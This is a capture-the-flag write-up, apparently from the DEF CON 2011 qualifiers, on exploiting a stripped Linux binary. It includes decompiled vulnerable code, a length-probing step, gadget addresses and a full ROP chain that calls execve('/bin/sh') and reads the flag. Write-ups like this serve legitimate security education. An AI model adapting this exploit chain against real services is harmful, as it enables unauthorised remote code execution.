This challenge was on remote exploiting. The binary is for Linux, statically linked and stripped.
Summary: overflow, ROP for execve(“/bin/sh”)
Reversing the binary is not hard, just guess standard C functions by context and their code, and understand the program’s logic:
void __cdecl main(int argc, char **argv) { unsigned int n; // [sp+18h] [bp-8h]@4 int result; // [sp+1Ch] [bp-4h]@4 if ( argc == 2 ) { n = strtol(argv[1], 0, 10); result = vuln(n); } else { fwrite("Missing size argument\n", 1, 22, STDERR); } } int __cdecl vuln(unsigned int nmax) { char buf[64]; // [sp+18h] [bp-60h]@1 unsigned int nread; // [sp+60h] [bp-18h]@3 int n_to_read; // [sp+64h] [bp-14h]@2 char *buf_in_heap; // [sp+68h] [bp-10h]@1 int retcode; // [sp+6Ch] [bp-Ch]@1 int retaddr; // [sp+7Ch] [bp+4h]@6 retcode = -1; fwrite("Give us your best shot then!\n", 1, 29, STDERR); buf_in_heap = fgets(buf, 64, STDIN); if ( buf_in_heap ) { n_to_read = strtol(buf, 0, 10); buf_in_heap = malloc(n_to_read); if ( buf_in_heap ) { nread = fread(buf_in_heap, 1, n_to_read, STDIN); if ( nread > 0 ) { if ( nread == n_to_read ) { if ( nread <= nmax ) { //overwrite this function's retaddr memcpy(&retaddr, buf_in_heap, nread_); retcode = 0; } } } memset(buf_in_heap, 0, nread); free(buf_in_heap); } } return retcode; }
We see, our data is copied right to return address of the vuln function if it’s len is smaller than a value given at the server side. How can we know this limit?
Easy to guess, it should be at least 4 bytes, so we can overwrite return address to some printing function and check if the output is presented. Then increase buffer step by step and we’ll know the limit. try_len.py:
hellman@hellpc ~/Desktop/defcon/pp400 $ py try_len.py 4 Give us your best shot then! Missing size argument hellman@hellpc ~/Desktop/defcon/pp400 $ py try_len.py 88 Give us your best shot then! Missing size argument hellman@hellpc ~/Desktop/defcon/pp400 $ py try_len.py 92 Give us your best shot then! hellman@hellpc ~/Desktop/defcon/pp400 $
Ok, the limit is nice! We have 88 bytes for ROP. Here, we can try to guess addresses of the stack or the heap on the server, copy shellcode and jump there. But since stdin and stdout are redirected, I decided to write ROP code for execve("/bin/sh")
. The binary is statically linked, so we have lots of gadgets, e.g. unified_syscall. Here are the ones I used:
# writeable place for filename place = 0x0804A304 # .data:0804A304 # makes a syscall with arguments from the stack syscall = 0x080482D7 # .text:080482D7 unified_syscall # stdin for fread stdin = 0x0804A31C # .data:0804A31C STDIN_STRUCT fread = 0x08048C60 # .text:08048C60 fread # pop gadgets pop_eax = 0x08048755 # pop eax; pop edi; ret pop4 = 0x0804839A # pop ebx; pop esi; pop edi; pop ebp; ret pop3 = 0x0804839B # pop esi; pop edi; pop ebp; ret pop2 = 0x0804839C # pop edi; pop ebp; ret
So, the payload is:
# fread(place, 1, 8, stdin) s += struct.pack("<I", fread) s += struct.pack("<I", pop4) # clean args s += struct.pack("<I", place) s += struct.pack("<I", 1) s += struct.pack("<I", 8) s += struct.pack("<I", stdin) # pop eax for syscall s += struct.pack("<I", pop_eax) s += struct.pack("<I", 11) # sys_execve s += struct.pack("<I", 0xdead1337) # dummy # execve(place, 0, 0) s += struct.pack("<I", syscall) s += struct.pack("<I", pop3) # clean args s += struct.pack("<I", place) s += struct.pack("<I", 0) s += struct.pack("<I", 0)
Full exploit:
hellman@hellpc ~/Desktop/defcon/pp400 $ py pp400exp.py $ cat key my package is smaller than ddtek's
The flag: my package is smaller than ddtek
You can run the binary with this universal tcp server.
1 ping
[…] 300 http://securityblackswan.blogspot.com/2011/06/defcon-19-ctf-qualifiers-pp300.html 400 http://leetmore.ctf.su/wp/defcon-ctf-quals-2011-pwnables-400/ 500 http://2011.6.6.defcon-19-ctf-qualifications-pp500.blog.oxff.net/ […]